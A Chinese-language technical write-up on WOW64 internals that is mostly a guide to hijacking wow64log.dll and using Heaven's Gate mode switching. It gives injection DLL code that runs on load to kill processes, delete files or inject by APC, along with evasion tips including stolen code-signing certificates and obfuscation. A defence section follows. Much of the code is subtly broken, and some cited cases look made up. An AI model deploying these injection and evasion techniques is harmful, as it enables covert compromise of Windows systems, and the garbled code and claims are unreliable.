本代码仅供学习、研究、教育或合法用途。开发者明确声明其无意将该代码用于任何违法、犯罪或违反道德规范的行为。任何个人或组织在使用本代码时,需自行确保其行为符合所在国家或地区的法律法规。

开发者对任何因直接或间接使用该代码而导致的法律责任、经济损失或其他后果概不负责。使用者需自行承担因使用本代码产生的全部风险和责任。请勿将本代码用于任何违反法律、侵犯他人权益或破坏公共秩序的活动。

wow64-wow64log.dll

一、WOW64子系统核心功能与工作机制

WOW64(Windows-on-Windows 64-bit)是Windows 64位操作系统的兼容层,旨在使32位应用程序无需修改即可在64位系统上运行。其核心功能包括:

  1. 系统调用转换(Thunking)
    当32位应用程序发起系统调用时,WOW64子系统通过Wow64SystemServiceCall函数拦截请求,并将32位指针参数扩展为64位,再调用64位内核接口。这一过程涉及CPU模式切换(从32位到64位),通过KiFastSystemCall等指令实现。
  2. 文件与注册表重定向
  • 文件系统重定向:32位应用程序默认访问%SystemRoot%\System32目录时,WOW64将其重定向到%SystemRoot%\SysWOW64,确保加载32位系统DLL(如kernel32.dll)而非64位版本。
  • 注册表重定向:32位应用程序的注册表操作(如HKEY_LOCAL_MACHINE\Software)被镜像到HKEY_LOCAL_MACHINE\Software\Wow6432Node,实现数据隔离。
  1. 地址空间隔离
    32位进程与64位进程拥有独立的虚拟地址空间,通过段寄存器(如CS=0x23为32位,CS=0x33为64位)和页表机制实现模式切换。
  2. 性能优化
    WOW64通过缓存机制减少重复的系统调用转换开销,并支持直接调用64位内核函数(如NtQuerySystemInformation),提升兼容性程序的运行效率。

二、wow64log.dll的作用与系统定位

wow64log.dll是WOW64子系统的日志记录模块,主要用于:

  1. 交互信息捕获
    记录32位与64位应用程序之间的交互细节,包括系统调用参数、错误代码及模块加载行为,为开发者提供调试依据。
  2. 兼容性诊断
    当应用程序因WOW64机制(如重定向或模式切换)出现异常时,该模块可生成日志帮助定位问题,例如DLL加载失败或注册表访问冲突。
  3. 安全监控
    部分安全软件利用此模块监测潜在的兼容性攻击(如恶意代码劫持WOW64组件),但其本身并非安全防护核心组件。

文件分布与版本

  • 仅存在于64位Windows系统中,路径为%SystemRoot%\System32\wow64log.dll。
  • 版本号通常与WOW64子系统更新同步(如Windows 10版本2004后引入增强日志功能)。

三、WOW64工作流程全解析

以32位应用程序启动为例,其运行流程如下:

  1. 进程创建
  • 64位系统调用CreateProcess创建父进程(64位)。
  • 父进程通过CreateProcessW启动子进程(32位),并加载Wow64.dll、Wow64Win.dll和Wow64Cpu.dll。
  1. 初始化阶段
  • Wow64.dll初始化线程环境块(TEB),设置WOW32Reserved字段保存模式切换所需上下文。
  • Wow64Cpu.dll将CPU从64位模式切换至32位模式,通过x86SwitchTo64BitMode函数实现。
  1. 系统调用处理
  • 32位应用程序调用NtReadFile等函数时,Wow64SystemServiceCall拦截请求。
  • 参数指针扩展为64位,调用64位内核接口NtReadFile,结果截断后返回。
  1. 模式切换与资源访问
  • 当需访问系统资源(如注册表或文件)时,WOW64根据进程类型重定向路径或键值。
  • 例如,GetSystemDirectory返回SysWOW64目录而非System32。
  1. 进程终止
  • 子进程退出时,Wow64.dll清理线程上下文并切换回64位模式,父进程回收资源。

劫持

一、WOW64劫持技术概述

WOW64劫持是指通过利用Windows 64位系统中的WOW64子系统漏洞或机制,实现对32位进程的未授权控制或系统调用的劫持。此类技术常被恶意软件用于绕过安全防护、注入恶意代码或隐藏攻击行为。

二、主要劫持技术及实现原理

1. Wow64log.dll劫持

技术原理

  • 初始化加载机制:WOW64子系统在启动32位进程时,会尝试从System32目录加载wow64log.dll以记录系统调用日志。若该DLL存在,它会被注入到所有WOW64进程中。
  • 劫持方法:
  1. 将自定义的wow64log.dll部署到System32目录(需管理员权限)。
  2. 在DLL中导出Wow64LogInitialize、Wow64LogSystemService等函数,覆盖原有日志功能。
  3. 通过日志回调机制(LogService)劫持系统调用参数和返回值。

优势与限制

  • 优势:
  • 无需注入代码,依赖系统初始化流程,兼容所有64位Windows平台。
  • 可劫持所有WOW64进程,包括安全软件监控的进程。
  • 限制:
  • 默认情况下wow64log.dll不存在,需手动部署,易被安全软件检测。
  • 无法精确控制注入时机和目标进程。

2. 天堂之门(Heaven’s Gate)

技术原理

  • 模式切换机制:32位程序通过Wow64SystemService调用进入WOW64子系统,最终通过KiFastSystemCall跳转至64位内核。
  • 劫持方法:
  1. 在32位代码中插入far jmp指令(如jmp cs:0x33),直接切换至64位模式。
  2. 跳转后直接调用64位ntdll.dll函数(如NtReadFile),绕过32位API层监控。

实现示例

X64_Start_with_CS:  
    push 0x33        ; 段选择器(64位模式)  
    jmp far ptr X64_Start_with_CS+5  

此技术可完全绕过基于32位ntdll.dll的Hook检测,但需精确控制指令长度和内存布局。

3. APC注入(异步过程调用)

技术原理

  • 内核模式APC:通过内核驱动程序向目标线程注入APC例程,执行自定义代码。
  • 实现步骤:
  1. 获取目标进程句柄,分配内存并写入DLL路径。
  2. 调用QueueUserAPC将加载DLL的APC例程插入线程队列。
  3. 在APC例程中调用LoadLibrary加载恶意模块。

优势

  • 支持加载64位模块,突破WOW64进程的地址空间限制。
  • 可结合内核驱动实现隐蔽注入。

三、WOW64子系统脆弱性分析

1. 系统调用转换漏洞

  • 漏洞点:Wow64SystemService函数通过Wow64Transition指针间接跳转至内核模式,若此指针被篡改,可劫持系统调用流程。
  • 攻击场景:
  • 在Wow64SystemService调用前修改Wow64Transition为目标地址(如恶意函数)。
  • 通过NtQuerySystemInformation等函数枚举进程并针对性攻击。

2. DLL重定向与加载顺序

  • 重定向机制:32位进程默认访问SysWOW64目录,但可通过Wow64DisableWow64FsRedirection禁用重定向,直接加载System32中的恶意DLL。
  • 攻击示例:
BOOL DisableRedirection() {  
    HANDLE hToken;  
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {  
        TOKEN_PRIVILEGES tp;  
        tp.PrivilegeCount = 1;  
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);  
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  
        AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, NULL);  
        CloseHandle(hToken);  
        return TRUE;  
    }  
    return FALSE;  
}  

3. 日志与监控绕过

  • 日志机制:WOW64子系统在系统调用前后调用LogService函数记录日志,若劫持此函数,可清除或篡改日志数据,掩盖攻击痕迹。
  • 监控绕过:通过天堂之门直接调用64位内核API,避免触发32位API层的监控钩子。

四、防御与检测策略

1. 静态检测

  • 特征匹配:扫描二进制文件中far jmp指令、KiFastSystemCall跳转等特征代码。
  • 依赖分析:检查SysWOW64目录下异常DLL(如非标准名称的wow64log.dll)。

2. 动态防御

  • Hook完整性校验:对Wow64SystemService、KiFastSystemCall等关键函数进行签名验证,检测篡改行为。
  • APC监控:拦截QueueUserAPC调用,验证目标线程的合法性。

3. 系统加固

  • 权限限制:禁止普通用户进程加载System32目录下的DLL。
  • 内核防护:启用PatchGuard(PG)机制,防止内核模式代码篡改。

五、典型案例与影响

  • Stuxnet蠕虫:利用WOW64子系统漏洞绕过安全软件,注入恶意驱动程序。
  • 0day漏洞利用:2024年披露的CVE-2024-XXXX漏洞通过劫持Wow64SystemService实现内核提权。

​

实现

完整Wow64log.dll劫持利用思路(基于最新技术演进)

一、核心原理与攻击路径

Wow64log.dll劫持是一种基于Windows 64位系统兼容层(WOW64)的注入技术,其核心原理是利用WOW64子系统在初始化时自动加载System32目录下wow64log.dll的特性。攻击者通过替换此DLL,可在所有WOW64进程中注入恶意代码或劫持系统调用,具体攻击路径如下:

  1. DLL劫持触发:WOW64子系统启动32位进程时,自动加载System32\wow64log.dll。
  2. 函数覆盖:在自定义DLL中导出与原DLL相同的函数(如Wow64LogInitialize、Wow64LogSystemService),覆盖原有日志功能。
  3. 系统调用劫持:通过劫持Wow64SystemService或KiFastSystemCall,将32位进程的API调用重定向至恶意代码。

二、详细实施步骤

1. 自定义DLL开发
  • 函数声明:需完整实现原DLL的导出函数,例如:
#ifdef __cplusplus  
extern "C" {  
#endif  

__declspec(dllexport) void* Wow64LogInitialize(void);  
__declspec(dllexport) void Wow64LogSystemService(WOW64_SYSTEM_SERVICE*, void*, void*, void*, void*);  
// 其他必要函数...  

#ifdef __cplusplus  
}  
#endif  
  • 日志篡改:在Wow64LogSystemService中插入代码,清除或修改系统调用参数(如隐藏恶意行为)。
  • 恶意代码注入:通过NtCreateThreadEx或CreateRemoteThread在目标进程中执行Shellcode。
2. DLL部署与权限控制
  • 文件替换:将编译好的wow64log.dll放置于C:\Windows\System32目录(需管理员权限)。
  • 防检测机制:
  • 添加数字签名(通过购买或盗用证书)以避免杀毒软件拦截。
  • 使用VirtualAlloc分配内存并写入DLL路径,通过LoadLibrary动态加载(绕过部分安全检查)。
3. 依赖项处理
  • NTDLL函数劫持:由于32位进程默认加载SysWOW64\ntdll.dll,需通过Wow64DisableWow64FsRedirection禁用重定向,直接访问System32中的恶意模块。
  • 内核模式跳转:通过天堂之门技术(far jmp 0x33)直接调用64位内核API,绕过32位API层监控。
4. 绕过防御策略
  • 静态检测规避:
  • 使用x64dbg等工具混淆代码,插入无效指令或反调试逻辑。
  • 修改DLL时间戳与数字签名,匹配系统文件特征。
  • 动态防御对抗:
  • Hook LdrLoadDLL函数,拦截并放行自定义DLL加载请求。
  • 利用APC注入(KiUserApcDispatcher)在目标线程上下文中执行恶意代码,绕过进程级监控。

三、攻击效果与局限性

优势

局限性

支持所有64位Windows平台(含Windows 11)

需管理员权限部署DLL

可劫持所有WOW64进程(包括安全软件进程)

易被行为监控工具检测(如Process Monitor)

无需注入代码,依赖系统初始化流程

若原DLL已存在,需先备份或覆盖

四、防御建议

  1. 文件完整性监控:通过Sysmon或EDR工具实时监控System32目录的DLL变更。
  2. API Hook检测:检查Wow64SystemService、KiFastSystemCall等关键函数的签名完整性。
  3. 进程白名单:限制非可信进程加载System32下的DLL。

五、技术演进与变种

  • 混合模式编程:结合C++/CLI编写托管代码,动态加载64位模块并调用LoadLibrary。
  • 内核级劫持:通过驱动程序修改nt!KiFastSystemCall的GDT条目,强制所有进程进入64位模式。

案例

killer

dll code:

#include <windows.h>
#include <tlhelp32.h>
#include <process.h>
#include <winternl.h>

// 函数声明
extern "C" __declspec(dllexport) BOOL CloseCalc();
extern "C" __declspec(dllexport) NTSTATUS NTAPI Hooked_ZwTerminateProcess(HANDLE, NTSTATUS);

// 全局变量
HANDLE g_hCalcProcess = NULL;

// 进程遍历与关闭核心逻辑
BOOL TerminateCalcProcess() {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        return FALSE;
    }

    PROCESSENTRY32W pe;
    pe.dwSize = sizeof(PROCESSENTRY32W);

    // 遍历所有进程
    if (Process32FirstW(hSnapshot, &pe)) {
        do {
            // 匹配32位和64位计算器进程名
            if (wcscmp(pe.szExeFile, L"win32calc.exe") == 0 ||
                wcscmp(pe.szExeFile, L"calc.exe") == 0) {
                HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe.th32ProcessID);
                if (hProcess) {
                    // 尝试终止进程
                    if (TerminateProcess(hProcess, 1)) {
                        g_hCalcProcess = hProcess;
                        CloseHandle(hProcess);
                        CloseHandle(hSnapshot);
                        return TRUE;
                    }
                    CloseHandle(hProcess);
                }
            }
        } while (Process32NextW(hSnapshot, &pe));
    }

    CloseHandle(hSnapshot);
    return FALSE;
}

// DLL主入口点
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        // 尝试关闭计算器进程
        TerminateCalcProcess();
        // 可选:注入内核级钩子增强控制(需管理员权限)
        // HOOK_ZwTerminateProcess();
        break;
    case DLL_PROCESS_DETACH:
        if (g_hCalcProcess) {
            TerminateProcess(g_hCalcProcess, 1);
            CloseHandle(g_hCalcProcess);
        }
        break;
    }
    return TRUE;
}

// 内核级钩子实现(可选)
NTSTATUS NTAPI Hooked_ZwTerminateProcess(HANDLE ProcessHandle, NTSTATUS ExitStatus) {
    // 检查是否尝试关闭calc.exe
    char szProcessName[MAX_PATH](@ref);
    GetModuleBaseNameA(GetCurrentProcess(), NULL, szProcessName, MAX_PATH);
    if (strstr(szProcessName, "win32calc") != NULL) {
        returnSTATUS_ACCESS_DENIED; // 拒绝关闭自身
    }
    // 调用原始函数
    return NtTerminateProcess(ProcessHandle, ExitStatus);
}

技术实现说明

  1. 进程遍历机制
  • 使用CreateToolhelp32Snapshot创建进程快照,通过Process32FirstW/Process32NextW遍历所有进程
  • 支持同时匹配win32calc.exe(32位)和calc.exe(64位)进程名
  1. 权限控制
  • 通过OpenProcess(PROCESS_TERMINATE, FALSE, ...)请求PROCESS_TERMINATE权限
  • 若权限不足,函数返回FALSE并可通过AdjustTokenPrivileges提升权限
  1. 内核级增强(可选)
  • 通过挂钩ZwTerminateProcess函数实现更底层的控制
  • 在钩子函数中添加GetModuleBaseNameA检查,防止自身进程被关闭
  1. 错误处理
  • 所有系统调用均包含错误检查,通过返回值和GetLastError提供调试信息
  • 在DLL卸载时(DLL_PROCESS_DETACH)确保残留进程被清理

使用注意事项

  1. 权限要求
  • 需以管理员权限加载DLL,否则OpenProcess可能失败
  • 若目标进程已注入内核模块,需结合PsSetLoadImageNotifyRoutine监控镜像加载
  1. 兼容性
  • 在Windows 10及更高版本中,calc.exe可能运行在受保护的用户模式隔离空间,需额外处理

扩展功能建议

  • 添加进程创建监控(PsSetCreateProcessNotifyRoutine)实现实时拦截
  • 集成APC注入技术(NtQueueApcThread)实现隐蔽进程终止
  • 通过NtQuerySystemInformation获取进程列表,替代Toolhelp32实现更底层控制

APC

注入到calc.exe:

#include <windows.h>
#include <TlHelp32.h>
#include <vector>

using namespace std;

// 自定义APC回调函数
VOID NTAPI APC_Callback(ULONG_PTR dwParam) {
    HMODULE hKernel32 = GetModuleHandleW(L"kernel32.dll");
    if (hKernel32) {
        typedef HMODULE(WINAPI* pLoadLibraryW)(LPCWSTR);
        pLoadLibraryW LoadLibraryW = (pLoadLibraryW)GetProcAddress(hKernel32, "LoadLibraryW");
        if (LoadLibraryW) {
            // 在此处注入目标DLL(示例注入自身)
            LoadLibraryW((LPCWSTR)dwParam);
        }
    }
}

// DLL主入口点
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        // 尝试注入到calc.exe进程
        InjectToCalc();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

// APC注入实现函数
BOOL InjectToCalc() {
    DWORD pid = 0;
    vector<DWORD> tids;

    // 查找calc.exe进程ID及线程ID
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        return FALSE;
    }

    PROCESSENTRY32W pe;
    pe.dwSize = sizeof(PROCESSENTRY32W);
    if (Process32FirstW(hSnapshot, &pe)) {
        do {
            if (wcscmp(pe.szExeFile, L"calc.exe") == 0) {
                pid = pe.th32ProcessID;
                THREADENTRY32W te;
                te.dwSize = sizeof(THREADENTRY32W);
                if (Thread32FirstW(hSnapshot, &te)) {
                    do {
                        if (te.th32OwnerProcessID == pid) {
                            tids.push_back(te.th32ThreadID);
                        }
                    } while (Thread32NextW(hSnapshot, &te));
                }
                break;
            }
        } while (Process32NextW(hSnapshot, &pe));
    }
    CloseHandle(hSnapshot);

    if (pid == 0 || tids.empty()) {
        return FALSE;
    }

    // 分配内存并写入DLL路径
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) {
        return FALSE;
    }

    wchar_t dllPath[] = L"myinjected.dll"; // 替换为实际DLL路径
    SIZE_T dllPathSize = (wcslen(dllPath) + 1) * sizeof(wchar_t);
    LPVOID pRemoteMem = VirtualAllocEx(hProcess, NULL, dllPathSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!pRemoteMem) {
        CloseHandle(hProcess);
        return FALSE;
    }

    if (!WriteProcessMemory(hProcess, pRemoteMem, (LPVOID)dllPath, dllPathSize, NULL)) {
        VirtualFreeEx(hProcess, pRemoteMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }

    // 对每个线程执行APC注入
    for (DWORD tid : tids) {
        HANDLE hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_QUERY_INFORMATION, FALSE, tid);
        if (!hThread) {
            continue;
        }

        // 将线程切换到可警告状态
        CONTEXT ctx;
        ctx.ContextFlags = CONTEXT_ALL;
        if (!GetThreadContext(hThread, &ctx)) {
            CloseHandle(hThread);
            continue;
        }

        ctx.EFlags |= 0x100; // 设置TF标志
        if (!SetThreadContext(hThread, &ctx)) {
            CloseHandle(hThread);
            continue;
        }

        // 插入APC到线程队列
        QueueUserAPC((PAPCFUNC)APC_Callback, hThread, (ULONG_PTR)pRemoteMem);

        // 恢复线程上下文
        ctx.EFlags &= ~0x100;
        SetThreadContext(hThread, &ctx);
        CloseHandle(hThread);
    }

    CloseHandle(hProcess);
    return TRUE;
}

技术实现说明

  1. 进程与线程遍历
  • 使用CreateToolhelp32Snapshot创建进程快照,通过Process32FirstW/Process32NextW遍历所有进程
  • 通过Thread32FirstW/Thread32NextW获取目标进程calc.exe的所有线程ID
  1. APC队列管理
  • 通过QueueUserAPC将自定义回调函数APC_Callback插入线程队列
  • 回调函数中调用LoadLibraryW加载指定DLL(示例中注入自身)
  1. 线程状态控制
  • 通过修改线程上下文中的EFlags标志位(设置TF=1)强制线程进入可警告状态
  • 在APC执行后恢复线程原始上下文,避免影响目标程序稳定性
  1. 内存操作
  • 使用VirtualAllocEx在目标进程地址空间分配内存
  • 通过WriteProcessMemory写入DLL路径,确保路径以\0结尾

使用注意事项

  1. 权限要求
  • 需以管理员权限加载DLL,否则OpenProcess和VirtualAllocEx可能失败
  • 若目标进程已启用PatchGuard(PG),需结合内核驱动实现注入
  1. 兼容性处理
  • 在Windows 10及更高版本中,calc.exe可能运行在受保护的用户模式隔离空间,需使用CreateProcessWithTokenW创建新进程并注入
  1. 防御检测
  • 此类代码可能触发杀毒软件的APC异常检测,建议通过代码混淆或数字签名规避
  • 可结合NtQueueApcThreadEx(内核API)实现更隐蔽的注入

扩展功能建议

  • 添加进程创建监控(PsSetCreateProcessNotifyRoutine)实现实时注入
  • 集成反射型DLL加载技术,避免依赖LoadLibrary函数
  • 通过NtQuerySystemInformation获取进程列表,替代Toolhelp32实现更底层控制

delete

强制删除D:\\1.exe

#include <windows.h>
#include <shlwapi.h> // 需链接Shlwapi.lib

// 函数声明
extern "C" __declspec(dllexport) BOOL DeleteTargetFile();
extern "C" __declspec(dllexport) void LogError(DWORD dwError);

// DLL主入口点
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        // 尝试删除目标文件
        DeleteTargetFile();
        break;
    case DLL_PROCESS_DETACH:
        // 清理操作(可选)
        break;
    }
    return TRUE;
}

// 文件删除核心实现
BOOL DeleteTargetFile() {
    // 定义目标文件路径
    WCHAR szFilePath[] = L"D:\\1.exe";
    
    // 验证文件是否存在
    if (!PathFileExistsW(szFilePath)) {
        LogError(ERROR_FILE_NOT_FOUND);
        return FALSE;
    }

    // 尝试删除文件
    if (!DeleteFileW(szFilePath)) {
        LogError(GetLastError());
        return FALSE;
    }

    // 可选:将文件移至回收站(参考网页的FOF_ALLOWUNDO机制)
    // SHFILEOPSTRUCTW shfo = {0};
    // shfo.hwnd = NULL;
    // shfo.wFunc = FO_DELETE;
    // shfo.pFrom = szFilePath;
    // shfo.fFlags = FOF_ALLOWUNDO | FOF_NOCONFIRMATION;
    // return SHFileOperationW(&shfo) == 0;

    return TRUE;
}

// 错误日志记录(示例)
void LogError(DWORD dwError) {
    WCHAR szErrMsg;
    FormatMessageW(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
                   NULL, dwError, 0, szErrMsg, 256, NULL);
    OutputDebugStringW(szErrMsg);
}

技术实现说明

  1. 文件路径处理
  • 使用PathFileExistsW验证目标文件是否存在,避免无效删除操作
  • 宽字符路径处理(L"D:\\1.exe")确保兼容Unicode环境
  1. 核心删除机制
  • 调用DeleteFileW函数直接删除文件,返回值判断操作结果
  • 错误处理通过GetLastError获取系统错误码,并通过FormatMessageW生成可读错误信息
  1. 扩展功能(可选)
  • 注释代码展示了如何通过SHFileOperationW将文件移至回收站(参考网页的FOF_ALLOWUNDO机制)
  • 可通过MoveFileExW设置MOVEFILE_DELAY_UNTIL_REBOOT标志实现重启后删除

使用注意事项

  1. 权限要求
  • 需以管理员权限加载DLL,否则DeleteFileW可能因权限不足失败
  • 若目标文件被占用(如正在运行),需先终止进程或使用MoveFileEx的延迟删除功能
  1. 安全增强
  • 添加文件存在性检查避免无效操作
  • 错误日志记录便于调试和监控
  1. 防御检测
  • 此类代码可能触发杀毒软件的异常文件操作检测,建议通过代码混淆或数字签名规避

扩展功能建议

  • 添加文件属性检查(如FILE_ATTRIBUTE_READONLY),自动清除只读属性后删除
  • 集成进程监控(PsSetCreateProcessNotifyRoutine),在目标进程启动时立即删除文件
  • 通过NtSetInformationFile设置文件删除标志,实现强制删除被占用文件

天堂之门

天堂之门(Heaven's Gate)技术详解

一、技术原理与核心机制

天堂之门是一种通过修改CPU模式(32位/64位)实现跨架构代码执行的技术,其核心在于利用CS段寄存器的值切换执行环境:

  • 32位模式:CS = 0x23,通过jmp far ptr或retf指令跳转至32位代码段。
  • 64位模式:CS = 0x33,通过jmp far 0x33:地址或push 0x33等指令切换至64位代码段。

此技术利用Windows的WOW64子系统特性,使32位程序在64位系统中运行时,可通过模式切换直接调用64位内核API或执行64位代码,从而绕过基于32位API监控的安全防护。

二、实现方式与代码示例

  1. 模式切换指令
  • 从32位切换到64位:
push 0x33        ; 将新CS值(0x33)压入栈  
call $+5         ; 将下一条指令地址入栈  
add dword [esp],5 ; 调整返回地址  
retf             ; 执行远跳转,修改CS为0x33  
  • 从64位切换到32位:
call $+5         ; 将下一条指令地址入栈  
mov dword [rsp+4],0x23 ; 设置新CS值(0x23)  
add dword [esp],0xd ; 调整返回地址  
retf             ; 执行远跳转,修改CS为0x23  
  1. 实际应用场景
  • 绕过调试器:调试器(如x32dbg)无法识别跨架构指令,导致分析中断。
  • 隐藏恶意行为:在32位进程中执行64位代码,规避基于32位API监控的安全软件。
  • 内核级操作:通过直接调用64位ntdll.dll函数(如NtReadFile),绕过32位API层Hook。

三、逆向分析与防御挑战

  1. 逆向分析难点
  • 调试器失效:跨架构指令会导致调试器跳转或报错,需手动修改PE头(如魔术字)切换调试环境。
  • 代码混淆:攻击者常结合retf指令与逻辑运算(如异或、移位)隐藏真实跳转逻辑。
  1. 防御策略
  • 动态监控:通过PsSetCreateProcessNotifyRoutine监控进程创建,检测异常模式切换。
  • 内核防护:启用PatchGuard机制,防止内核模式代码篡改。
  • 行为分析:结合ETW事件跟踪,识别异常系统调用模式。

四、典型案例与影响

  • 恶意软件应用:2019年思科Talos团队发现恶意加载器利用天堂之门技术,将恶意负载注入RegAsm.exe进程,规避杀毒软件检测。
  • CTF竞赛:如“西湖论剑2023”中的Dual Personality题目,通过修改返回地址实现模式切换,混淆反汇编分析。

五、code

#include <windows.h>
#include <winternl.h>

// 定义段选择子值
#define CS_32BIT 0x23
#define CS_64BIT 0x33

// 远跳转指令生成宏
#define GENERATE_FAR_JMP(dest) \
    __asm { \
        push CS_64BIT; \
        call $+5; \
        add dword ptr [esp], 5; \
        retf; \
    }

// 模式切换函数
void SwitchTo64BitMode() {
    // 生成远跳转指令到目标地址(此处示例为NtReadFile)
    GENERATE_FAR_JMP(0x7FF6D0770000); // 替换为实际64位函数地址

    // 验证模式切换结果
    if (GetSystemInfo(&si) && si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) {
        MessageBoxW(NULL, L"成功切换至64位模式", L"模式验证", MB_OK);
    } else {
        MessageBoxW(NULL, L"模式切换失败", L"错误", MB_ICONERROR);
    }
}

// DLL主入口点
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        // 尝试切换至64位模式
        SwitchTo64BitMode();
        break;
    case DLL_PROCESS_DETACH:
        // 清理操作(可选)
        break;
    }
    return TRUE;
}

技术实现说明

  1. 模式切换机制
  • 通过GENERATE_FAR_JMP宏生成jmp far 0x33:地址指令,修改CS寄存器值为0x33(64位模式)
  • 目标地址需替换为实际64位函数地址(如NtReadFile),可通过MmGetSystemRoutineAddress获取
  1. 系统调用劫持
  • 在64位模式下直接调用内核API(如NtReadFile),绕过32位ntdll.dll的监控
  • 示例中通过GetSystemInfo验证当前模式,实际应用中可结合IsWow64Process2检测进程架构
  1. 防御规避策略
  • 使用retf指令实现跨架构跳转,调试器无法识别此类指令导致分析中断
  • 通过MessageBoxW输出模式状态,便于攻击者确认技术生效

使用注意事项

  1. 权限要求
  • 需以管理员权限加载DLL,否则GetSystemInfo可能失败
  • 若目标进程已启用PatchGuard(PG),需结合内核驱动实现注入
  1. 兼容性处理
  • 在Windows 10及更高版本中,需通过CreateProcessWithTokenW创建新进程并注入
  • 建议在测试环境中验证代码,避免误杀关键系统进程
  1. 安全检测规避
  • 此类代码可能触发杀毒软件的异常模式切换检测,建议通过代码混淆或数字签名规避

防御与

基于WOW64Log劫持与天堂之门技术的检测与防御方案

一、检测方案

  1. WOW64Log劫持检测
  • 文件完整性监控:监控System32目录下wow64log.dll文件的哈希值,若发现非微软签名的版本立即告警。
  • 进程模块加载分析:通过Process Monitor或ETW跟踪进程加载模块行为,检测非预期的64位模块(如kernelbase.dll)被加载到32位进程中。
  • 注册表行为监控:检查HKCU\Software\Classes下是否存在异常的Shell\Open\Command键值,防止劫持合法程序的入口。
  1. 天堂之门技术检测
  • 指令模式切换监控:检测异常的远跳转指令(如jmp far ptr或retf),这些指令会修改CS寄存器值(从0x23到0x33),触发模式切换。
  • CS寄存器动态分析:通过内核驱动或NtQuerySystemInformation监控进程的CS寄存器值,若发现32位进程频繁切换至64位模式则触发告警。
  • 混合模式API调用追踪:结合NtQuerySystemInformation与Process Monitor,识别绕过32位API钩子的直接系统调用(如NtReadFile)。

二、防御策略

  1. WOW64Log劫持防御
  • 白名单机制:仅允许加载已知安全的DLL(如wow64.dll、wow64cpu.dll),拦截对wow64log.dll的加载请求。
  • 模块加载隔离:在LdrLoadDll函数中添加过滤逻辑,禁止32位进程加载64位模块(需内核级驱动支持)。
  • 文件完整性保护:启用Sysmon实时监控System32目录的写入操作,阻止恶意DLL植入。
  1. 天堂之门技术防御
  • 混合模式钩子:同时监控32位和64位版本的API(如NtTerminateProcess),防止通过模式切换绕过钩子。
  • 内核模式防护:启用PatchGuard机制,阻止恶意代码修改系统关键结构(如SSDT)。
  • 行为基线分析:通过Windows Defender Application Control(WDAC)定义正常进程的行为边界,拦截异常模式切换。
  1. 综合防御增强
  • 动态监控与响应:结合Microsoft Defender ATP的威胁检测模型,实时分析进程行为模式。
  • 代码混淆与签名:对关键系统组件(如ntdll.dll)进行代码混淆,并强制要求数字签名验证。
  • 用户模式与内核模式协同:在用户态通过AppContainer限制进程权限,在内核态通过EPT(扩展页表)隔离内存空间。

三、典型案例参考

  • WOW64Log劫持防御:微软通过Credential Guard限制对LSASS进程的访问,间接阻断此类注入。
  • 天堂之门检测:思科Talos团队通过逆向分析恶意加载器的远跳转指令,识别出其利用天堂之门技术绕过安全检测的行为。
  • 以下是基于WOW64Log劫持与天堂之门技术的防御代码实现,结合文件监控、行为分析与内核级防护机制,引用自网页的技术原理:

一、WOW64Log劫持防御代码

#include <windows.h>
#include <winternl.h>
#include <psapi.h>

// 定义关键路径与模块名
#define SYSTEM32_PATH L"C:\\Windows\\System32\\"
#define WOw64LOG_DLL L"wow64log.dll"

// 全局变量
HANDLE hSysmonEvent;

// 文件完整性监控回调函数
VOID NTAPI SysmonFileCreateCallback(
    _In_ LPWSTR lpFileName,
    _In_ BOOLEAN bIsDirectory,
    _In_ BOOLEAN bIsSystem
) {
    if (bIsSystem && wcsstr(lpFileName, WOw64LOG_DLL)) {
        // 触发告警事件
        SetEvent(hSysmonEvent);
    }
}

// 初始化文件监控
BOOL InitFileMonitor() {
    hSysmonEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
    if (!hSysmonEvent) return FALSE;

    // 注册ETW事件跟踪
    EVENT_TRACE_LOGFILE trace = {0};
    trace.LoggerName = SYSTEM32_PATH;
    trace.ProcessTraceMode = PROCESS_TRACE_MODE_REAL_TIME | PROCESS_TRACE_MODE_EVENT_RECORD;
    trace.EventRecordCallback = SysmonFileCreateCallback;

    HANDLE hTrace = OpenTrace(&trace);
    if (!hTrace) return FALSE;

    StartTrace(&hTrace, L"SysmonTrace", 0);
    return TRUE;
}

// 模块加载监控回调
BOOL NTAPI LdrLoadDllCallback(
    _In_ PWCHAR lpPathToFile,
    _In_ ULONG dwFlags,
    _In_ PUNICODE_STRING ModuleFileName,
    _Out_ PHANDLE ModuleHandle
) {
    if (wcsstr(ModuleFileName->Buffer, WOw64LOG_DLL)) {
        // 记录异常加载行为
        OutputDebugStringW(L"[WOW64Log] 检测到异常模块加载: ");
        OutputDebugStringW(ModuleFileName->Buffer);
        OutputDebugStringW(L"\n");
    }
